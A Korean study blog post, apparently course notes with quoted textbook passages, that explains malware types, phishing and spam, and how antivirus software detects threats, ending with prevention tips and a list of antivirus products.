블로그 이미지
22Hz 22Hz

카테고리

분류 전체보기 (109)
모의해킹 침해대응 전문가 과정 (99)
리눅스 설정 (10)
Total
Today
Yesterday

달력

« » 2024.4
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30

공지사항

태그목록

최근에 올라온 글

'모의해킹 침해대응 전문가 과정'에 해당되는 글 99건

  1. 2016.09.19 20160919 악성코드제작하기
  2. 2016.09.07 20160901 프로젝트#5
  3. 2016.09.01 20160831 파일업로드 취약점
  4. 2016.08.31 20160830 XML, CRLF, XSS Injection
  5. 2016.08.29 20160829 SQL Injection & XML Injection
  6. 2016.08.27 20160826 웹보안
  7. 2016.08.25 20160825 웹보안
  8. 2016.08.25 20160825 BitLocker
  9. 2016.08.24 20160824 윈도우즈 서버 보안
  10. 2016.08.24 20160824 Snort on CentOS6.X (수정)



멀웨어(Malware)와 사회공학(Social Engineering)





■ 용어


Malware(MALicious softWARE, 악의적인 소프트웨어)
Malware(MALicious softWARE) and social engineering are two common threats that any organization will face. Within information technology (IT) security, these are relatively easy to prevent. However, that doesn’t reduce their importance. The damage can be extensive if an organization ignores these threats.


Anti-malware
반대한다는 뜻의 안티(Anti)와 악의적인 소프트웨어(Malicious Software) 두 개의 뜻이 합쳐진 것으로, 악의적으로 제작된 컴퓨터 프로그램을 전문으로 치료 및 차단 또는 제거하는 컴퓨터 프로그램을 일컫는 말. ([참고] dic.naver.com)




1. Understanding Malware Types(멀웨어의 종류)


Malware includes a wide range of software that has malicious intent. Malware is not software

that you would knowingly purchase or download and install. Instead, it is installed onto your system through devious means. Infected systems give various symptoms, such as running slower, starting unknown processes, sending out email without user action, random reboots, and more.

You might hear people use the term virus to describe all types of malware, but that isn’t

accurate. A virus is a specific type of malware, and malware includes many other types of malicious software, including worms, logic bombs, Trojans, ransomware, rootkits, spyware, and more.


바이러스는 멀웨어의 한가지 종류이며, 또한 멀웨어는 많은 다른 종류를 포함하고 있다. 예를 들어

악의적인 소프트웨어(malicious software),

웜(worms), 

논리 폭탄(logic bombs),

트로잔(trojans), 

랜섬웨어(ramsomware), 

루트킷(rootkits), 

스파이웨어(spyware), 

기타

등이 있다.



Viruses(바이러스)

 

A virus is a set of malicious code that attaches itself to a host application. The host application must be executed to run, and the malicious code executes when the host application is executed. The virus tries to replicate by finding other host applications to infect with the malicious code. At some point, the virus activates and delivers its payload.

 

Typically, the payload of a virus is damaging. It may delete files, cause random reboots, join the computer to a botnet, or enable backdoors that attackers can use to access systems remotely. Some older viruses merely displayed a message at some point, such as “Legalize Marijuana!” Most viruses won’t cause damage immediately. Instead, they give the virus time to replicate first.

 

A user will often execute the virus (though unknowingly), but other times, an operating system will automatically execute it after user interaction. For example, when a user plugs in an  infected USB drive, the system can execute the virus infecting the system. Note that not all malware needs user interaction to run. As an example, worms are self-replicating and do not need user interaction.

컴퓨터 바이러스는 스스로를 복제하여 컴퓨터를 감염시키는 컴퓨터 프로그램이다. 복제 기능이 없는 다른 종류의 악성 코드, 애드웨어, 스파이웨어와 혼동하여 잘못 쓰이는 경우도 있다. 바이러스는 한 컴퓨터에서 다른 컴퓨터로(일부 형식의 실행 코드로) 확산할 수 있다. 이를테면 사용자는 인터넷이나 네트워크를 통하여, 또는 플로피 디스크, CD, DVD, USB 드라이브와 같은 이동식 매체를 통하여 바이러스를 전파할 수 있다. 바이러스는 네트워크 파일 시스템이나, 다른 컴퓨터를 통해 접근하는 파일 시스템 상의 파일을 감염시킴으로써 다른 컴퓨터로의 확산 가능성을 높일 수 있다.

바이러스는 일반적으로 감염대상이 되는 프로그램 또는 코드에 바이러스 자신의 코드 및 변형 코드를 감염시키며 컴퓨터 시스템 내부에서 확산된다.


[일반 프로그램]

+-----+--------------------------------------+

| H   |   EXE Program                        +

+-----+--------------------------------------+


[바이러스 감염 프로그램]

+-----+--------------------------------------+-----------+

| |   EXE Program                        + Virus     |

+-----+--------------------------------------+-----------+

Worms(웜)

 

A worm is self-replicating malware that travels throughout a network without the assistance of a host application or user interaction. A worm resides in memory and is able to use different transport protocols to travel over the network.

 

One of the significant problems caused by worms is that they consume network bandwidth.

Worms can replicate themselves hundreds of times and spread to all the systems in the network. Each infected system tries to locate and infect other systems on the network, and network performance can slow to a crawl.

시스템 오동작, 파일 감염등 흔히 바이러스가 일으키는 유형, 증상에 가깝게 동작하며 일반적으로 시스템 파일 이름과 비슷하게 설치되거나 파일명은 같으나 경로만 다르게 설치되기도 하며 또한 레지스트리와 맞물려 동작하는 것도 악성 코드의 설치 배경과도 유사한 점이 있다.


컴퓨터 내부의 기억 장소에 코드 형태 또는 컴퓨터 내부 실행파일 형태로 존재한다. 실행시 파일이나 코드 자체를 네트워크와 전자우편 등을 통해 다른 시스템으로 자기 복제를 시도하는 형태이다.



Logic Bombs

 

A logic bomb is a string of code embedded into an application or script that will execute in response to an event. The event may be a specific date or time, when a user launches a specific program, or any event the programmer decides on.

 

There’s an often-repeated story about a company that decided it had to lay off an engineer due to an economic downturn. His bosses didn’t see him doing much, so they thought they could do without him. Within a couple of weeks after he left, they started having all sorts of computer problems they just couldn’t resolve.

 

They called him back, and within a couple of weeks, everything was fine. A few months later, they determined they had to lay him off again. You guessed it. Within a couple of weeks, things went haywire again.

 

The engineer had programmed a logic bomb that executed when the payroll program ran. It

checked for his name on the payroll, and when it was there, things were fine, but when his name wasn’t there, ka-boom!—he logic bomb exploded.

 

A logic bomb executes in response to an event, such as when a specific application is executed or a specific time arrives.

논리 폭탄이란 보통의 프로그렘에 오류를 발생시키는 프로그램 루틴을 무단으로 삽입하여 특정한 조건의 발생이나 특정한 데이터의 입력을 기폭제로 컴퓨터에 부정한 행위를 실행시키는 것 혹은 특정한 시기나 일정한 조건이 충족되는 경우 프로그램이 스스로 작동하여 컴퓨터나 데이터를 침해하는 프로그램을 말한다. 예를 들어 "13일의 금요일"과 같이 일정조건이 만족되면 자동적으로 시스템 파괴활동을 시작하는 일종의 컴퓨터 바이러스로서 귀중한 정보와 프로그램 무차별 삭제하거나 컴퓨터에 의해 작동/통제되는 시설 및 장비를 파괴시키는 수법이다. 프로그램이 전혀 예상하지 못한 파국적인 오류를 범하게 한다. 오류를 발생시키는 부호의 삽입에는 일반적으로 트로이목마을 응용한다. 논리폭탄이 바이러스와 구별되는 점은 자기복제의 기능이 없는 점이다.

Backdoors

 

A backdoor provides another way of accessing a system, similar to how a backdoor in a house provides another method of entry. Malware such as Trojans often install backdoors on systems to bypass normal authentication methods.

 

Application developers often code backdoors into applications, but this practice is not

recommended. For example, an application developer might create a backdoor within an application intended for maintenance purposes. However, if attackers discover the backdoor, they can use it to access the application.

 

Effective account management policies help prevent ex-employees from creating backdoors after they are fired. For example, if an employee loses network access immediately after being fired, the employee cannot create a backdoor account. In contrast, if an administrator retains network access, he has the opportunity to create another administrative account that he can use even if his original account is disabled. That’s exactly what a Fannie Mae Unix engineer did after being told he was fired.

 

Fannie Mae’s account management policy did not revoke his elevated system privileges right away, giving him time to create a backdoor account. After going home, he accessed the system remotely and installed a logic bomb script scheduled to run at 9:00 a.m. on January 31. If another administrator hadn’t discovered the logic bomb, it would have deleted data and backups for about four thousand servers, changed their passwords, and shut them down.

 

A backdoor provides another of way of accessing a system. Many types of malware create backdoors, allowing attackers to access systems from remote locations. Employees have also created backdoors in applications and systems.

지속적인 세션 유지


Trojans

 

A Trojan, also called a Trojan horse, looks like something beneficial, but it’s actually something malicious. According to a report by PandaLabs, Trojans represented over 70 percent of new malware strains in 2013, and they also represented 78 percent of malware infections. Trojans frequently create backdoors, allowing criminals to connect to systems remotely after they are infected.

 

Trojan horses are named after the infamous horse from the Trojan War. In Greek mythology, the Achaeans tried to sack the city of Troy for several years, but they simply couldn’t penetrate the city’s defenses. At some point, someone got the idea of building a huge wooden horse and convincing the people of Troy that it was a gift from the gods. Warriors hid inside, and the horse was rolled up to the gates.

 

The people of Troy partied all day and all night celebrating their good fortune, but when the city slept, the warriors climbed down from inside the horse and opened the gates. The rest of the warriors flooded in. What the Greek warriors couldn’t do for years, the Trojan horse helped them do in a single day.

 

In computers, a Trojan horse can come as pirated software, a cool screen saver, a useful  utility, a game, or something else that users may be enticed to download and try. Attackers are increasingly using drive-by downloads to deliver Trojans. In a drive-by download, web servers include malicious code that attempts to download and install itself on user computers after the user visits. Here are the typical steps involved in a drive-by download:

 

Attackers compromise a web site to gain control of it.

Attackers install a Trojan embedded in the web site’s code.

Attackers attempt to trick users into visiting the site. Sometimes, they simply send the link to thousands of users via email hoping that some of them click the link.

When users visit, the web site attempts to download the Trojan onto the users’ systems.

 

Another Trojan method that has become popular in recent years is rogueware, also known as

scareware. Rogueware masquerades as a free antivirus program. When a user visits a site, a message on the web page or a pop-up appears indicating it detected malware on the user’s system. The user is encouraged to download and install free antivirus software.

On the surface, this free antivirus software looks useful. However, it isn’t. If a user installs and runs it on a system, it appears to do a system scan. After the scan completes, it reports finding multiple issues, such as infections by dozens of viruses. The report isn’t true. The application reports these issues even on a freshly installed operating system with zero infections.

 

It then encourages the user to resolve these issues immediately. If the user tries to  resolve the issues, the program informs the user that this is only the trial version, and the trial version won’t resolve these issues. However, for the small fee of $79.95, users can unlock the full version to remove the threats. Some rogueware installs additional malicious components. For example, it can join the computer to a botnet, or allow the attacker to take remote control of the infected system.

 

As mentioned previously, you can also infect a system by plugging in an infected USB flash

drive. In this case, the attacker can install the Trojan onto several USB drives and leave them lying around. Someone picks one up, plugs it in, and the system is infected. The system then infects other USBs, which infect other systems.

 

A Trojan appears to be something useful but includes a malicious component, such as installing a backdoor on a user’s system. Many Trojans are delivered via drive-by downloads. They can also infect systems from rogueware, pirated software, games, or infected USB drives.

흔히 트로이 목마 바이러스라고 불려지며 지금도 바이러스 범주에 속하는지 아니한는지는 Worm과 마찬가지로 논의의 여지가 있다 하겠다. 여러 유형별로 증상은 다양하며 목적을 떠나 시스템 사용이 불가하거나 정보를 유출하는 등의 증상, 그 외 예측할 수 없는 비정상적인 행동이 발생하면 악성 코드 쪽으로도 분류 가능하다.


트로이목마는 자기복제 기능은 없으나 정상적인 프로그램 내에 비밀번호 유출등 악의적 기능을 포함시킨 후 이를 동작하게 하는 악성 프로그램이다. 운영체계에 대한 일반적인 침투 유형의 하나로, 계속적인 불법 침투가 가능하도록 시스템 내에 부호를 만들어 놓음으로써 영구적으로 시스템 내에 상주할 수도 있고, 소기의 목적을 달성한 후에 그 자취를 모두 지워 버릴수도 있다.



Botnets

 

A botnet combines the words robot and network. It includes multiple computers that act as

software robots and function together in a network (such as the Internet), often for malicious purposes. The computers in a botnet are called zombies and they will do the bidding of whoever controls the botnet.

 

Bot herders are criminals who manage botnets. They attempt to infect as many computers as

possible and control them through one or more servers running command-and-control software. The infected computers periodically check in with the command-and-control servers, receive direction, and then go to work. The user is often unaware of the activity.

 

Most computers join a botnet through malware infection. For example, a user could download

pirated software with a Trojan or click a malicious link, resulting in a drive-by download. The malware then joins the system to a botnet.

 

As an example, Coreflood malware is a Trojan horse that opens a backdoor on compromised

computers. Authorities shut down the Coreflood botnet in April 2011, and its command-and-control servers managed about 2.3 million computers at that time. Experts estimate they had stolen between $10 million and $100 million before authorities shut them down.

 

Infecting 2.3 million computers and stealing tens of millions of dollars draws a lot of attention.

 

To avoid attention, many botnets manage fewer than 50,000 computers and fly under the radar of most authorities. The result is the same for the victims, though. It doesn’t matter if victims are robbed by a huge botnet or a smaller botnet; they have still been robbed.

 

Botnet herders sometimes maintain complete control over their botnets. Other times, they rent access out to others to use as desired. Some of the instructions sent by the command-and-control servers include:

Send spam.

Launch a distributed denial-of-service attack.

Download additional malware, adware, or spyware such as keyloggers.

봇(bot)이라는 용어는 로봇 (robot)을 줄인 말입니다. 범죄자는 사용자의 컴퓨터를 좀비라고도 하는 봇 상태로 바꿀 수 있는 악성 소프트웨어 (맬웨어)를 유포합니다. 이러한 상황이 발생하면, 사용자가 모르는 사이에 컴퓨터가 인터넷 상에서 자동화된 작업을 수행할 수 있습니다.


일반적으로 범죄자는 봇을 사용하여 많은 컴퓨터를 감염시킵니다. 이러한 컴퓨터는 네트워크, 즉 봇넷을 형성합니다. 범죄자는 봇넷을 이용하여 스팸 메일 전송, 바이러스 유포, 컴퓨터 및 서버 공격을 감행하고, 기타 범죄 및 사기 행각을 벌일 수 있습니다. 컴퓨터가 봇넷의 일부가 되면 컴퓨터의 성능이 저하될 수 있으며, 사용자는 의도하지 않게 범죄 행위를 도울 수 있습니다.




Ransomware(랜섬웨어)

 

A specific type of Trojan is ransomware. Attackers take control of the user’s computer and then demand the user pay a ransom to get the control back. Criminals often deliver ransomware via driveby downloads or embedded in other software. Two ransomware viruses that have attacked many people are the Police Virus and CryptoLocker, and they provide good examples of how ransomware works.

 

Ransomware is a type of malware that takes control of a user’s system or data. Criminals then attempt to extort payment from the victim. Ransomware often includes threats of damaging a user’s system or data if the victim does not pay the ransom.

랜섬웨어는 일종의 맬웨어 (악성 소프트웨어)로 사용자의 동의없이 해당 컴퓨터에 불법으로 설치됩니다. 불법으로 설치된 랜섬웨어로 해당 컴퓨터를 원격으로 잠글 수 있습니다. 그러면 팝업 창이 뜨면서 컴퓨터가 잠겼으니 금액을 지불하지 않으면 컴퓨터에 접속할 수 없다는 경고가 나타납니다.



Rootkits

 

A rootkit is a group of programs (or, in rare instances, a single program) that hides the fact that the system has been infected or compromised by malicious code. A user may suspect something is wrong, but antivirus scans and other checks may indicate everything is fine because the rootkit hides its running processes to avoid detection.

 

In addition to modifying the internal operating system processes, rootkits often modify system files such as the Registry. In some cases, the rootkit modifies system access, such as removing users’administrative access.

 

Rootkits have system-level access to systems. This is sometimes called root-level access, or kernel-level access, indicating that they have the same level of access as the operating system.

 

Rootkits use hooked processes, or hooking techniques, to intercept calls to the operating system. In this context, hooking refers to intercepting system-level function calls, events, or messages. The rootkit installs the hooks into memory and uses them to control the system’s behavior.

 

Antivirus software often makes calls to the operating system that could detect malware, but the rootkit prevents the antivirus software from making these calls. This is why antivirus software will sometimes report everything is OK, even if the system is infected with a rootkit. However, antivirus software can often detect the hooked processes by examining the contents of the system’s random access memory (RAM).

 

Another method used to detect rootkits is to boot into safe mode, or have the system scanned before it boots, but this isn’t always successful. It’s important to remember that rootkits are very difficult to detect because they can hide so much of their activity. A clean bill of health by a malware scanner may not be valid.

 

The Trojan.Popureb/E rootkit is an example of a rootkit. Among other things, it overwrites the hard drive’s Master Boot Record (MBR), where code is stored to start the operating system. The code on the MBR starts before the operating system boots and it remains invisible to the operating system and security software. Even when antivirus software detects the rootkit, the rootkit protects itself. It prevents any attempts to overwrite the MBR by changing write operations to read operations, though it reports that the write operation completed successfully.

 

It’s important to remember that behind any type of malware, you’ll likely find an attacker involved in criminal activity. Attackers who have successfully installed a rootkit on a user’s system might log on to the user’s computer remotely, using a backdoor installed by the rootkit. Similarly, attackers might direct the computer to connect to computers on the Internet and send data. Data can include anything collected from a keylogger, collected passwords, or specific files or file types stored on the user’s computer.

 

Rootkits have system-level or kernel-level access and can modify system files and system access. Rootkits hide their running processes to avoid detection with hooking techniques. Tools that can inspect RAM can discover these hidden hooked processes .



Spyware

 

Spyware is software installed on users’ systems without their awareness or consent. Its purpose is often to monitor the user’s computer and the user’s activity. Spyware takes some level of control over the user’s computer to learn information and sends this information to a third party. If spyware can access a user’s private data, it results in a loss of confidentiality.

 

Some examples of spyware activity are changing a user’s home page, redirecting web browsers, and installing additional software, such as search engines. In some situations, these changes can slow a system down, resulting in poorer performance. These examples are rather harmless compared with what more malicious spyware (called privacy-invasive software) may do.

 

Privacy-invasive software tries to separate users from their money using data-harvesting

techniques. It attempts to gather information to impersonate users, empty bank accounts, and steal identities. For example, some spyware includes keyloggers used to capture keystrokes. The keystrokes are stored in a file, and the spyware periodically sends the file to the attacker. In some instances, the spyware allows the attacker to take control of the user’s system remotely.

Spyware is often included with other software like a Trojan. The user installs one application but unknowingly gets some extras. Spyware can also infect a system in a drive-by download. The user simply visits a malicious web site that includes code to automatically download and install the spyware onto the user’s system.

스파이웨어란 무료로 배포되는 공개 소프트웨어에 들어 있는 일종의 프로그램 모듈을 통칭하는 것으로 공개 소프트웨어의 광고효과를 알기 위해 컴퓨터 사용자 이름이나 IP 주소, 방문한 웹사이트 목록, 클릭한 배너 광고 등의 정보를 미리 설정해 놓은 특정 서버로 보내는 역할을 합니다.


일반적으로 트로이목마(trojan horse)나 백도어(Backdoor) 프로그램은 그 자체가 악의적 목적으로 제작됐지만, 스파이웨어는 프로그램 사용자에 대한 개인정보를 가져가는 것으로 알려져 있으나 이 과정에서 여러가지 악의적인 목적으로 사용되어 질 수 있기 때문에 심각한 문제가 발생할 여지가 있습니다.


특히, 국내 사용자의 경우 프로그램 설치시 영문으로 제시되는 소프트웨어 사용 동의서의 내용(사용자 정보 유출 가능성과 이에 대한 소프트웨어 제작자의 책임이 없음) 을 관심있게 확인하지 않은채 공공연히 사용되고 있기때문에 프로그램 설치시 보여지는 사용권 동의서 내용 등을 자세히 살펴 보는 주의가 필요합니다.


스파이웨어 동작(개인정보 유출)

시스템 레지스트리에 있는 사용 이름

사용자 IP 주소

설치된 소프트웨어의 목록

사용자가 방문한 URL 목록

클릭한 광고 배너

다운로드한 파일 정보

브라우저 사용시 동작 정보


유해 가능 프로그램 중 사용자가 정확한 용도를 모르고 설치하여 사용자를 불편하게 하거나 사생활을 침해할 수 있는 유형이다.



Adware(Advertisement Software)

 

When adware first emerged, its intent was usually to learn a user’s habits for the purpose of targeted advertising. As the practice of gathering information on users became more malicious, more people began to call it spyware. However, some traditional adware still exists.

 

A common type of adware is pop-ups. For example, while you are visiting a site, another

browser window appears, or pops up, with an advertisement. These pop-up windows aren’t

malicious, but they are annoying.

 

Sometimes pop-ups can be helpful. As a legitimate example, my online bank has interest-rate information that I can view. When I click on this link, it pops up another window showing the interestrate information without taking me away from the current page I’m viewing.

 

The term adware also applies to software that is free but includes advertisements. The user is well aware that the advertisements appear, and has the option to purchase a version of the software that does not include the ads. All of this is aboveboard without any intention of misleading the user.

 

Spyware monitors a user’s computer. Pop-ups are annoying windows that appear while browsing. Many pop-ups are adware designed to market products to users.

애드(advertisement)와 소프트웨어(software)의 합성어로, 광고를 목적으로 제작된 소프트웨어를 의미합니다. 특정 사이트나 메일의 액티브X 컨트롤(ActiveX Control)을 다운로드 받음으로써 설치가 되며, 이후 바탕화면에 ‘인터넷 바로가기’ 파일을 만드는 등의 동작을 하여 사용자에게 접속을 유도하게 됩니다. 또한 무분별한 팝업 광고(성인광고, 일반광고)를 돌출시켜 인터넷 사용을 방해하는 경우도 있습니다


주로 배포, 제작한 사이트에 대한 상업용 광고 목적으로 만들어진 악성코드이며, 공통적인 증상은 특정 폴더내 아이콘 파일(확장자: URL, LNK, ICO)을 설치하고 익스플로러의 시작 페이지를 변경, BHO(Browser Helper Object) 객체를 이용, 브라우저내 특정 이벤트를 가로채 해당 사이트로 네비케이트 혹은 팝업 윈도우를 생성할 수도 있다. 또한 BHO를 내장한 Adware가 다량 설치된 경우 브라우저 성능이 저하될 수도 있으며, 특히 여러 유형 중 국내외 사이트를 통틀어 가장 많이 사용되는 것은 Active X 및 인스톨 실드 등으로 시스템에 설치된다. 언 인스톨 기능을 지원 할 수도 있고 그렇지 않을 수도 있다. 그리고 시작 페이지 재설정을 하거나 아이콘들을 제거하더라도 레지스트리 및 관련 파일들이 남아 있다면 로그인시 자동으로 생성 될수도 있다.


유해 가능 프로그램 중 사용자의 동의를 구하지 않고 광고를 목적으로 실행되는 유형이다.



Hoax

 

실제로 족재하지 않지만 사용자들이 하여금 믿게 하기 위하여 정상파일을 악성코드로 속이는 행위이다.




바이러스/트로이목마/웜 특성 비교

 

자기복제

감염대상

형태

복구방법

바이러스

O

O

기생/겹침

치료

트로이목마

X

X

독립

삭제

O

X

독립

삭제



2. Recognizing Common Attacks(일반적인 공격 방법의 종류)


In addition to malware, it’s important to understand some other common attacks. Social

engineering includes several techniques attackers use to trick users.


Additionally, many attackers use email, instant messaging, and the phone to deliver attacks.





(1). Recognizing Other Attacks(다른 공격 방법의 종류)



Beyond social engineering, users should know about many common attacks. This includes

attacks such as phishing, spear phishing, whaling, and vishing.


Spam(스팸)

 

Spam is unwanted or unsolicited email. Depending on which study you quote, between 80 percent and 92 percent of all Internet email is spam. Some spam is harmless advertisements, while much more is malicious. Spam can include malicious links, malicious code, or malicious attachments.

 

Even when it’s not malicious, when only 1 of 10 emails is valid, it can waste a lot of your time. In some cases, legitimate companies encourage users to opt-in to their email lists and then send them email about their products. When users opt-in to a mailing list, they agree to the terms. On the surface, you’d think that this means that you agree to receive email from the company and that’s true.

 

However, terms often include agreeing to allow their partners to send you email, which means the original company can share your email address with others.

 

Legitimate companies don’t send you malicious spam, but they might send you more email than you want. Laws require them to include the ability to opt-out, indicating you don’t want to receive any more emails from them. Once you opt-out, you shouldn’t receive any more emails from that company.

 

Originally, spam was just unwanted advertisements sent out to people, even if they chose to optout.

However, attackers began using spam for malicious purposes. Attackers often include malicious attachments and malicious code within spam email. More recently, spam attacks include malicious links. If users click on a link in a malicious email, it often takes them to a site hosting a drive-by download, as mentioned in the earlier “Trojan” section.

 

Criminals use a variety of methods to collect email addresses. They buy lists from other

criminals and harvest them from web sites. Some malware scans address books of infected computers to collect email. Because they are criminals, they don’t care about laws, but they might include optout instructions in spam they send. However, instead of this getting you off the email list, it provides them confirmation that your email address is valid. The result is more spam.







Phishing

 

Phishing is the practice of sending email to users with the purpose of tricking them into revealing personal information or clicking on a link. A phishing attack often sends the user to a malicious web site that appears to the user as a legitimate site.

 

The classic example is where a user receives an email that looks like it came from eBay,

PayPal, a bank, or some other well-known company. The “phisher” doesn’t know if the recipient has an account at the company, just as a fisherman doesn’t know if any fish are in the water where he casts his line. However, if the attacker sends out enough emails, the odds are good that someone who receives the email has an account.

 

The email may look like this:

“We have noticed suspicious activity on your account. To protect your privacy, we will suspend your account unless you are able to log in and validate your credentials. Click here to validate your account and prevent it from being locked out.”

 

The email often includes the same graphics that you would find on the vendor’s web site or an actual email from the vendor. Although it might look genuine, it simply isn’t. Legitimate companies do not ask you to revalidate your credentials via email. If you go directly to the site, you might be asked to provide additional information to prove your identity beyond your credentials, but legitimate companies don’t send emails asking you to follow a link and input your credentials to validate them.

 

Spam is unwanted email. Phishing is malicious spam. Attackers attempt to trick users into revealing sensitive or personal information or clicking on a link. Links within email can also lead unsuspecting users to install malware .

피싱은 사용자 이름, 암호 및 신용 카드 번호를 포함한 기밀을 요하는 정보를 빼가기 위해 ISP(인터넷 서비스 제공업체), 은행 또는 온라인 경매 사이트와 같은 합법적인 기관으로 가장합니다. 전형적인 피싱 방법은 이메일이나 메신저를 통해 합법적인 사이트와 거의 비슷한 위조된 웹 사이트로 유인하여 사용자가 기밀을 요하는 정보를 입력하도록 합니다.





Spear Phishing

 

Spear phishing is a targeted form of phishing. Instead of sending the email out to everyone indiscriminately, a spear phishing attack attempts to target specific groups of users, or even a single user. Spear phishing attacks may target employees within a company or customers of a company.

 

As an example, an attacker might try to impersonate the CEO of an organization in an email. It’s relatively simple to change the header of an email so that the From field includes anything, including the CEO’s name and title. Attackers can send an email to all employees requesting that they reply with their password. Because the email looks like it’s coming from the CEO, these types of phishing emails fool many users.

 

One solution that deters the success of these types of spear phishing attacks is to use digital signatures. The CEO and anyone else in the company can sign their emails with a digital signature.

 

This provides a high level of certainty to personnel on who sent the email. Chapter 10,

“Understanding Cryptography,” covers digital signatures in great depth.

스피어 피싱 뜻은 정보 고위관부, 유명인, 군인 등과 같은 특정인을 대상으로 이들의 개인정보를 캐내기 위한 피싱 공격을 지칭하는 용어로, 물 속에 있는 물고기를 작상을 잡는 '작살 낚시'에 빗댄 용어를 말한다.




3. Protecting Systems with Anti-Malware Software


Malware is a significant threat for any organization. Administrators commonly implement layered security, or a defense-in-depth plan, to protect against malware. The following bullets list some common security controls used to protect against malware:


메일 서버에 안티 멀웨어가 설치된 경우(Anti-malware software on mail servers.) Spam often includes malware as attachments, but anti-malware software can detect and block it. The software strips potentially malicious attachments off the email, and sends a notification to the user explaining what was removed and why.

모든 서버와 워크스테이션에 설치된 경우(All systems.) All workstations and servers have anti-malware software installed. Servers may have additional, specialized anti-malware software installed depending on the applications running on the servers.

네트워크 경계선이나 방화벽에 설치된 경우(Boundaries or firewalls.) Many networks include detection tools that monitor network traffic through the firewall. For example, unified threat management (UTM) inspects network traffic to reduce the risk of malware entering the network. Chapter 3, “Understanding Basic Network Security,” covers UTM systems.



Antivirus Software


Anti-malware software provides protection against many types of malware. You’ll often hear the term antivirus software indicating it only protects against viruses. However, the lines have blurred.


Viruses aren’t the only threats. Attackers have changed their methodologies using different types of malware, and antivirus software vendors have adapted by including methods to detect and block these new threats. Most antivirus software detects, blocks, and removes several different types of malware, such as viruses, Trojans, worms, rootkits, spyware, and adware.


Antivirus software provides real-time protection and can perform both scheduled and manual scans. The real-time protection continuously monitors the system. For example, when a user visits a web site, antivirus software scans the downloaded web site files and attempts to block malicious code. Similarly, when a user downloads or opens a file, antivirus software scans it before opening it.


Scheduled scans occur regularly, such as once a week. If users or technicians detect suspicious activity, they can perform manual scans to check the system.


Antivirus software detects viruses using either signature-based detection or heuristic-based detection.


Signature-Based Detection(스그니쳐 기반 감지)

 

Viruses and other malware have known patterns. Signature files (also called data definition files) define the patterns, and the antivirus software scans files for matching patterns. When the software identifies a matching pattern, it reports it as an infection and takes action, such as deleting or quarantining the file.

 

A quarantined virus is not harmful to the system while it is in quarantine, but it’s still available for analysis. As an example, a security professional could release a quarantined virus into an unprotected but isolated virtual environment for research and study.

 

Malware developers constantly release new viruses, so it’s important to update signature definition files regularly. Most antivirus software includes the ability to automate the process of checking and downloading updated signature definition files. They typically check for updates several times a day.

 

It’s also possible to download and install signature files manually. Administrators do this when updating systems that do not have Internet access. When doing so, it’s important for administrators to ensure the signature file has not lost data integrity. They do so by comparing the hash of the signature file posted on the antivirus vendor’s web site with the hash of the downloaded file. To see an example of how to compare hashes, check out the Creating and Comparing Hashes Lab. You can access the online exercises for this book at http://gcgapremium.com/labs/.

 

Antivirus software detects and removes malware, such as viruses, Trojans, and worms. Signature-based antivirus software detects known malware based on signature definitions. Heuristic-based software detects previously unknown malware based on behavior.



Heuristic-Based Detection(행위 기반 감지/체험 기반 감지)

 

Some antivirus software includes heuristic-based detection. Heuristic-based detection attempts to detect viruses that were previously unknown and do not have signatures. This includes zero-day exploits, mentioned in Chapter 4, “Securing Your Network.”

 

Heuristic-based analysis runs questionable code in a sandbox or virtualized environment specifically designed to protect the live environment, while it observes its behavior. Most viruses engage in viral activities—ctions that can be harmful, but are rarely performed by legitimate programs. The heuristic-based analysis detects these viral activities.

 

As an example, polymorphic malware adds variations to files when it creates copies. It’s highly unusual for any application to add variations in files like this, and heuristic methods are often successful at detecting polymorphic malware.



Checking File Integrity(파일 무결성 점검)

 

Some antivirus scanners use file integrity checkers to detect modified system files. A file integrity checker calculates hashes on system files as a baseline. It then periodically recalculates the hashes on these files and compares them with the hashes in the baseline. If the hashes are ever different, it indicates the system files have been modified. When an antivirus scanner detects a modified file, it sends an alert. Many times these alerts can detect rootkit infections.

 

When searching for rootkits, antivirus scanners also have the ability to inspect RAM.








■ 악성코드의 증상과 예방법


악성 코드의 증상

브라우저를 실행할 때 마자 특정 웹사이트로 이동하는 경우(시작페이지가 매번 변경됨)

원치 않는 성인광고 및 대출광고 팝업이 나타나는 경우

주소창에 한글 인터넷주소를 쓰면 다른곳을 접속된다.

인터넷 익스플러러에 툴바 및 SearchBar가 생겨난다.

갑자기 컴퓨터와 네트워크가 느려진 경우

사용자가 변경하지 않은 윈도우 설정이 바뀌는 경우

건드리지 않은 파일이 변경되었거나 삭제되는 경우

이상한 메시지 박스가 나타나(Gain, UCMORE) 사용자 계정과 패스워드를 물어보는 경우

CD-ROM등이 알수 없는 이유로 저절로 열리고 닫히는 경우

PC를 사용하지 않는데 하드디스크가 작업 중일 경우

사용하는 프로그램을 정지 했을때도 CPU의 사용량이 줄지 않는 경우


예방법

신뢰할 수 없다고 의심이 되는 웹사이트 방문을 하지 않는다.

Active-X 컨트롤 창에서 인증한 업체명이 없으면 [취소] 버튼으로 컨트롤을 설치하지 않는다.

스팸메일을 바로 삭제한다.

정품 소프트웨어를 사용한다.

애드웨어 사용시 약관을 꼼꼼히 읽어보고 개인정보 유출이 명시되어 있는지 살펴본다.

정기적으로 <제어판> -> <인터넷옵션>에서 <쿠키삭제>,<파일삭제>를 한다.

가장 중료한 것은 Anti-malware, Anti-virus 제품을 설치하고 실시간으로 자동 감지하도록 하는 것이다.





■ 백신 프로그램의 종류

ALYac(https://namu.wiki/w/%EC%95%8C%EC%95%BD(%EC%9D%B4%EC%8A%A4%ED%8A%B8%EC%86%8C%ED%94%84%ED%8A%B8))

AVG(https://namu.wiki/w/AVG)

AVware

Ad-Aware

AegisLab

AhnLab-V3(https://namu.wiki/w/V3%20Lite)

Alibaba

Antiy-AVL

Arcabit

Avast(https://namu.wiki/w/%EC%96%B4%EB%B2%A0%EC%8A%A4%ED%8A%B8?from=avast)

Avira (no cloud)

Baidu

Baidu-International

BitDefender(https://namu.wiki/w/%EB%B9%84%ED%8A%B8%EB%94%94%ED%8E%9C%EB%8D%94)

Bkav

CAT-QuickHeal

CMC

ClamAV

Comodo Antivirus(https://namu.wiki/w/Comodo)

Cyren

DrWeb

ESET-NOD32

Emsisoft

F-Prot

F-Secure

Fortinet

GData

Ikarus

Jiangmin

K7AntiVirus

K7GW

Kaspersky(https://namu.wiki/w/%EC%B9%B4%EC%8A%A4%ED%8D%BC%EC%8A%A4%ED%82%A4)

Kingsoft

Malwarebytes

McAfee

McAfee-GW-Edition

eScan

